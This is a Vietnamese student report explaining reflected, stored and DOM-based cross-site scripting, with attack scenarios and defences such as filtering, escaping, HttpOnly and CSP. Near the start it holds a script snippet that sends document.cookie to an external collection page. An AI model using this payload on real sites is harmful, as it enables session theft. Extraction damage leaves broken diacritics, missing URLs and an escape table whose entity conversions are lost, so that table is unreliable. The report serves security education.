BỘ GIÁO DỤC VÀ ĐÀO TẠO
HỌC VIỆN CÔNG NGHỆ BƯU CHÍNH VIỄN THƠNG
KHOA CƠNG NGHỆ THƠNG TIN
BÁO CÁO BÀI TẬP LỚN
KỸ THUẬT TẤN CÔNG XSS
1
Mục Lục
I. Tìm hiểu chung..................................................................................................3
1. Khái niệm......................................................................................................3
2. Các bước thực hiện tấn công XSS.................................................................4
3. Các cách thức lừa người dùng.......................................................................5
II. Các dạng tấn công............................................................................................5
1. Reflected XSS...............................................................................................5
1.1 Đặc điểm...................................................................................................5
1.2. Kịch bản tấn công....................................................................................6
2. Stored XSS....................................................................................................7
2.1 Đặc điểm...................................................................................................7
2.2 Kịch bản tấn công.....................................................................................7
3. DOM-based XSS...........................................................................................8
3.1 Khái niệm DOM.......................................................................................8
3.2 Đặc điểm...................................................................................................9
3.3. Kịch bản tấn công..................................................................................10
4. So sánh sự khác nhau giữa 3 loại.................................................................10
4.1 Sự khác nhau giữa Reflected XSS, DOM-Based XSS và Stored XSS. .10
4.2 Sự khác nhau giữa Reflected XSS và DOM-Based XSS.......................11
III. Mức độ nguy hiểm........................................................................................11
IV. Biện pháp phòng chống.................................................................................11
1. Lọc (XSS Filter)..........................................................................................11
2. Thoát khỏi XSS (XSS Escape)....................................................................12
3. Đặt cờ HttpOnly...........................................................................................12
4. Sử dụng CSP................................................................................................13
V. Demo..............................................................................................................13
1. Reflected XSS.............................................................................................13
2. Stored XSS..................................................................................................13
3. DOM-Based XSS (Dựng web)....................................................................13
4. Các biện pháp phòng chống (XSS filter, XSS escape, HttpOnly...) (Dựng
web).................................................................................................................13
2
I. Tìm
hiểu chung
1. Khái niệm
Cross-Site Scripting hay cịn được gọi tắt là XSS là một kĩ thuật tấn công
bằng cách chèn vào các website động (ASP, PHP, JSP ...) những thẻ HTML hay
những đoạn mã script nguy hiểm có thể gây nguy hại cho những người sử dụng
khác. Trong đó, những đoạn mã nguy hiểm được chèn vào hầu hết được viết
bằng các Client-Site Script như JavaScript, VBScript và cũng có thể là cả các
thẻ HTML, CSS ..., khi người dùng vào những trang web này thì mã độc sẽ
được thực thi trên máy người dùng.
Cross-Site Scripting (XSS) là một trong những kĩ thuật tấn công phổ biến
hiện nay, đồng thời nó cũng là một trong những vấn đề bảo mật quan trọng đối
với các nhà phát triển web và cả những người sử dụng web. Bất kì một website
nào cho phép người sử dụng nhập thông tin (form, url…) mà khơng có sự kiểm
tra chặt chẽ các đoạn mã nguy hiểm thì đều có thể tiềm ẩn các lỗi XSS.
Theo trang web thì tấn cơng sử kĩ thuật XSS
vẫn được đưa vào 1 trong những mối đe dọa nghiêm trọng với ứng dụng web.
Theo trang thì ước tính tấn
cơng XSS chiếm 30% của tất cả các cuộc tấn công web.
<script>var a = new Image();</script>
<script>var x1 = " /><script>var x2 = "c.php?c=";</script>
<script>var x3 = document.cookie;</script>
<script>a.src=x1+x2+x3;</script>
<script>var b = new Image();</script>
<script>b.src=`${(x1)}${(x2)}${(x3)}`;</script>
XSS cho phép kẻ tấn công:
- Đánh cắp thông tin nhạy cảm của người dùng lưu trong cookie của
trình duyệt: Kẻ tấn công đánh cắp thông tin lưu trong cookie của người dùng
như session cho phép kẻ tấn công đăng nhập với tư cách là người dùng mà
không cần phải xác thực.
3
- Keylogging: Kẻ tấn cơng có thể bắt phím gõ của người dùng và gửi tất
cả số lần gõ phím đến máy chủ của họ, từ đó đánh cắp thơng tin về tài khoản
ngân hàng, email hoặc thông tin đăng nhập các dịch vụ trả tiền, ...
- Giả mạo: Kẻ tấn cơng có thể chèn các form giả mạo, quảng cáo vào
trang web bằng cách thay đổi cấu trúc HTML khiến người dùng tự tiết lộ dữ liệu
nhạy cảm của mình bằng cách thao tác với các form đó.
- Qt cổng dịch vụ: Kẻ tấn công sử dụng các script độc hại để quét
mạng nội bộ và xác định các máy khác đang hoạt động trên mạng của người
dùng.
2. Các bước thực hiện tấn cơng XSS
- Hacker tìm kiếm trang web chứa lỗ hổng XSS, chèn mã độc vào web
đó.
- Hacker lừa người dùng vào trang web chứa mã độc bằng cách sử dụng
kỹ thuật như phishing.
- Sau khi người dùng nhấn vào đường link, đoạn mã độc hại được thực
thi, các thông tin cần thiết như token, cookie..., sẽ được chuyển về máy chủ của
hacker.
- Từ đó, hacker có thể thâm nhập vào tài khoản của người dùng, đăng
nhập vào trang web mà không cần thông qua xác thực.
3. Các cách thức lừa người dùng
- Các trang, biểu mẫu giả mạo hiển thị phía người dùng (nơi người dùng
nhập thông tin đăng nhập, …)
- Quảng cáo hiển thị trên các trang web
- Email độc hại được gửi đến người dùng: giả mạo các tổ chức lớn, đáng
tin cậy để gửi mail đến cho người dùng, ...
II. Các
dạng tấn công
Để có thể lấy được session của nạn nhân với mục đích đăng nhập mà
khơng cần xác thực thì phải có 1 điều kiện là nạn nhân đã đăng nhập vào trang
web chứa mã độc.
1. Reflected XSS
1.1 Đặc điểm
4
Reflected XSS là dạng tấn công thường gặp nhất trong các loại tấn công
XSS. Loại tấn công này xảy ra khi một ứng dụng web phản hồi tới trình duyệt
của người dùng một tập lệnh độc hại, sau đó trình duyệt sẽ thực thi mã độc đó.
Mã độc thường được nằm ở trong một liên kết, liên kết này sẽ gửi yêu cầu đến
trang web có lỗ hổng và cho phép thực thi các mã độc này. Hacker sẽ gửi trực
tiếp liên kết có chứa mã độc cho người dùng, khi người dùng nhấn vào liên kết
này thì trang web sẽ được load chung với các đoạn script độc hại. Những đoạn
script độc hại này được gắn trực tiếp trong request mà hacker gửi cho nạn nhân.
Reflected XSS là kiểu tấn công mà mã độc client gửi lên sẽ được thêm vào
request và mã độc đó cũng sẽ được thêm vào trong response mà server trả về.
Reflected XSS xảy ra do đầu vào không được kiểm tra một cách kĩ càng dẫn
đến việc kẻ tấn cơng có thể lợi dụng và chèn mã độc.
1.2. Kịch bản tấn công
- Đầu tiên, hacker sẽ tìm cách gửi cho nạn nhân một địa chỉ URL dẫn đến
1 trang web có chứa mã độc ví dụ như: />5
keyword=<script>...</script>. Hacker có thể dùng 1 số cách như gửi qua địa
chỉ email (giả mạo tổ chức uy tín), tin nhắn, bài chia sẻ … hay gọi chung là kĩ
thuật Phishing attack.
- Sau khi người dùng click vào đường link đó, thì nó sẽ dẫn đến trang mà
hacker khi đó các mã độc được gắn trong request sẽ load cùng với trang web.
Sau đó trình duyệt sẽ thực thi mã độc và gửi các thông tin cần thiết của nạn
nhân thường là cookie và session id đến máy chủ của hacker.
- Khi đó thì tùy vào mục đích hacker có thể chiếm phiên làm việc của
nạn nhân thông qua session id và cookie hoặc tệ hơn thì có thể lấy tồn bộ thơng
tin cá nhân của nạn nhân lưu trong trình duyệt ví dụ như mật khẩu tài khoản
ngân hàng, mạng xã hội...
2. Stored XSS
2.1 Đặc điểm
Stored XSS là dạng tấn công mà hacker chèn các mã độc vào server điển
hình là cơ sở dữ liệu. Dạng tấn cơng này xảy ra khi các dữ liệu được gửi lên
server không được kiểm tra kỹ lưỡng mà lưu trực tiếp vào server. Khi người
dùng truy cập vào trang web này thì những đoạn script độc hại được tải từ
server sẽ được thực thi chung với quá trình tải trang web. Các đoạn script
thường được chèn vào website thông qua các chức năng như: viết bình luận,
đăng bài, đơn góp ý,... Vì vậy, Stored XSS chính là kiểu tấn cơng nguy hiểm
nhất vì mã độc được lưu trên server và sẽ được thực thi trên tất cả người dùng
truy cập đến nó.
6
2.2 Kịch bản tấn công
- Trước tiên, hacker sẽ khai thác lỗi Stored XSS trên website bằng cách
tìm những form (khung đăng ký, khung comment, khung liên hệ …) không
được kiểm tra kỹ dữ liệu đầu vào và tiến hành chèn các đoạn mã độc vào cơ sở
dữ liệu.
- Sau đó khi người dùng truy cập vào trang web, mã độc sẽ được tải từ
server, sau đó các đoạn script độc hại sẽ được chạy chung với trang web.
- Khi các đoạn script được thực thi, tùy vào mục đích của hacker, các
đoạn script sẽ được gửi về cho hacker những thông tin như cookie, session, ...
3. DOM-based XSS
3.1 Khái niệm DOM
DOM viết tắt của Document Object Model là 1 tiêu chuẩn của W3C đưa
ra nhằm để truy xuất và thao tác dữ liệu của tài liệu có cấu trúc như HTML,
XML. Mơ hình này thể hiện tài liệu dưới dạng cấu trúc cây phân cấp. Mỗi thành
phần trong HTML, XML được xem như một node.
7
Ví dụ: HTML DOM là 1 mơ hình tiêu chuẩn cho các tài liệu
HTML.HTML DOM sẽ xác định những thứ sau:
- Các phần tử HTML (các thẻ) như các đối tượng. Các phần tử này được
biểu diễn dưới dạng cây phân cấp.
- Các tính chất của tất cả các phần tử HTML (innerHTML, innerText…)
- Các sự kiện của tất cả các phần tử html (click, focus…)
- Các phương thức để thao tác vào các phần tử html
Để hiểu thêm về DOM-based XSS ta cần biết về 2 khái niệm:
- Source: là những vị trí mà mã độc sẽ chứa ở trong đó và ứng dụng sẽ
lấy mã độc ra từ vị trí đó. Có 4 loại source khác nhau (chi tiết xem tại
/>
8
- Sink: là nơi mà mã độc được truyền vào từ source và được thực thi. Nói
cách khác, sink là các method hoặc property nguy hiểm có thể thực hiện mã độc
được lấy từ source. Có 3 loại sink khác nhau (đối với ngôn ngữ sử dụng là js)
(chi tiết xem tại />
3.2 Đặc điểm
DOM-based XSS là dạng tấn công khai thác quá trình xử lý dữ liệu được
thực hiện bên phía máy khách (client) thường dùng JavaScript để xử lý. Mã độc
sẽ được đọc ra từ các source và được đưa vào các sink sau đó mã độc sẽ được
thực thi. Việc đọc mã độc và thực thi mã độc sẽ diễn ra hồn tồn ở trình duyệt.
Ví dụ:
- Source: location.href
- Sink: inner.HTML
- Mã độc: Giá trị của name
9
3.3. Kịch bản tấn công
- Đầu tiên kẻ tấn công phát hiện ra website bị dính lỗi DOM-based XSS
bằng cách sử dụng các công cụ như Burp Suite’s, ... hoặc bằng cách tìm kiếm
thủ cơng bằng cơng cụ dành cho nhà phát triển có trên trình duyệt như Chrome,
Firefox,…
- Kẻ tấn công tiến hành chèn mã độc vào gửi URL cho nạn nhân qua
email, facebook, ...
- Sau khi nạn nhân nhấn vào URL hoặc sau đó có thể thực hiện 1 vài thao
tác, tùy thuộc vào mục đích của kẻ tấn công mà các thông tin của người dùng sẽ
được gửi về cho hacker ví dụ như cookie, ...
- Sau đó hacker có thể chiếm phiên của người dùng để đánh cắp các
thông tin nhạy cảm.
4. So sánh sự khác nhau giữa 3 loại
4.1 Sự khác nhau giữa Reflected XSS, DOM-Based XSS và Stored XSS
Để khai thác Reflected XSS hay DOM-Based XSS kẻ tấn công phải lừa
người dùng đăng nhập và truy cập vào URL chứa mã độc và mã độc khơng cần
lưu vào server. Trong khi đó, Stored XSS không cần phải thực hiện việc này, sau
khi chèn được mã độc vào server, kẻ tấn công chỉ cần chờ người dùng tự động
truy cập vào các chức năng liên quan như bình luận, đánh giá…
Reflected và DOM-Based XSS là thuộc dạng XSS khơng liên tục (NonPersistent) cịn Stored XSS là thuộc dạng XSS liên tục (Persistent).
Persistent là việc Hacker bằng một cách nào đó lưu mã độc vào trong
CSDL của trang web và mã độc này sẽ được thực thi khi mà người dùng tải
hoặc truy cập trang web đó.
Non Persistent là việc hacker chèn mã độc trực tiếp vào trang và mã độc
đó chỉ chạy khi mà người dùng truy cập vào đúng trang web đó.
4.2 Sự khác nhau giữa Reflected XSS và DOM-Based XSS
Reflected XSS: mã độc ở trong request sẽ được gửi lên server và
response trả về sẽ trực tiếp chứa mã độc đó. Vì thế gọi là reflected XSS (phản
chiếu)
DOM-Based XSS: mã độc ở trong request sẽ được gửi lên server và
response trả về không chứa trực tiếp mã độc mà nó sẽ chứa đoạn mã script để
thực hiện việc lấy mã độc từ source và sau đó truyền vào sink để thực hiện mã
độc. Nó liên quan tới việc sử dụng method, property, thay đổi cấu trúc HTML.
10
Mà DOM định nghĩa method, property, cấu trúc nên nó được gọi là DOMBased XSS (dựa vào DOM).
III. Mức độ nguy hiểm
- Đối với người dùng thơng thường: Hacker có thể sử dụng tài khoản của
nạn nhân đề chiếm đoạt tài sản:
+ Với tài khoản MXH: hacker nhắn tin với bạn bè của nạn nhân để
vay tiền, nhờ thanh toán hộ,..
+ Với tài khoản ngân hàng: chiếm đoạt tiền trong tài khoản.
+ Hacker cũng có thể giả danh cơng an, cảnh sát gọi điện cho nạn
nhân để thông báo rằng họ đang dính vào 1 vụ án nào đó, sau đó hacker
sẽ đọc thơng tin cá nhân vừa mới đánh cắp được nhằm tạo dựng niềm tin
rồi yêu cầu nạn nhân chuyển tiền.
- Đối với chủ website:
+ Gây tổn hại đến danh tiếng, sự uy tín.
+ Tốn thời gian, cơng sức, tiền bạc để tìm lỗi và khắc phục.
IV. Biện pháp phịng chống
1. Lọc (XSS Filter)
- Khơng tin bất kỳ dữ liệu nào do người dùng đưa vào. Lọc các thẻ và
các thuộc tính có thể hỗ trợ việc tấn công bằng xss (<script>, <img>, onerror,
onfocus…)
- Sử dụng các bộ lọc tự tạo hoặc từ thư viện để lọc bỏ các thẻ
HTML/CSS/scripts khỏi dữ liệu nhập từ người dùng. Sử dụng các thư viện như
HtmlSanitizer có sẵn của OWASP để làm sạch dữ liệu đầu vào bằng cách tạo ra
một danh sách các thẻ và thuộc tính được phép sử dụng. Ngồi ra cịn có
DOMPurity, PHP HTML Purifier, Python Bleach,.....
- Sử dụng biểu thức chính quy (Regular Expressions) để tăng hiệu quả
lọc
- Các bộ lọc cần được cập nhật thường xuyên để có thể theo kịp sự thay
đổi của các kỹ thuật tấn công XSS mới
- Các bộ lọc dữ liệu nhập phải được thực hiện trên máy chủ (server-side
scripts) do các bộ lọc trên máy khách có thể bị loại bỏ một cách dễ dàng.
11
- Có thể gây khó khăn cho người dùng trong việc nhập text
2. Thốt khỏi XSS (XSS Escape)
- Vơ hiệu hóa tấn cơng XSS bằng cách thay thế các ký tự riêng của
HTML/scripts để chuyển các đoạn mã có thể thực hiện thành dữ liệu thơng
thường có thể thực hiện được. XSS Escape có thể chặn XSS mà người dùng
khơng bị hạn chế khi nhập text. Ví dụ 5 kí tự thường cần mã hóa trong HTM
Kí tự Chuyển đổi
&
&
<
<
>
>
"
"
'
'
3. Đặt cờ HttpOnly.
- HttpOnly là cờ bổ sung được thêm vào trong HTTP response header
Set-Cookie. Mục đích của thuộc tính httponly là bảo về cookie khỏi việc truy
cập trái phép từ browser. Chỉ lưu và gửi kèm cookie phản hồi từ client tới
server. Việc này làm hạn chế sự can thiệp từ trình duyệt giúp hạn chế rủi ro từ
các cuộc tấn công đánh cắp cookie.
- Nếu cookie được set cờ HttpOnly, nó khơng thể bị truy cập bởi mã
Javascript. Điều đó có nghĩa hacker sẽ khơng thể nhận được cookie.
4. Sử dụng CSP
- CSP là chính sách bảo mật nội dung, được sử dụng để xác định các
nguồn nội dung an tồn trên website mà trình duyệt có thể tải về cho người
dùng. CSP là biện pháp đối phó rất hiệu quả với kiểu hack chèn mã độc Cross
Site Scripting (XSS)
- Để cho phép CSP, chúng ta cấu hình cho server trả về ContentSecurity-Policy HTTP header hoặc có thể sử dụng thông qua thẻ <meta>
- 1 số tên directive:
12
script-src: Chỉ định nguồn load các tài nguyên js
style-src: Chỉ định nguồn load các tài nguyên css
image-src: Chỉ định nguồn load các tài nguyên ảnh
font-src: Chỉ định nguồn load các tài nguyên font
- 1 số giá trị của CSP directive:
*: nghĩa là tất cả
self: chỉ định domain đang truy cập
none: không cho phép từ bất kỳ nguồn nào
*.domain.com: cho phép load resource từ subdomain của domain
domain.com
https: cho phép load từ những trang https
- Ví dụ:
Content-Security-Policy: script-src: ‘self’ trust.com
Trình duyệt sẽ cho phép tải js từ các nguồn: domain đang truy cập
và trust.com
V. Demo
1. Reflected XSS
2. Stored XSS
3. DOM-Based XSS (Dựng web)
4. Các biện pháp phòng chống (XSS filter, XSS escape,
HttpOnly...) (Dựng web)
13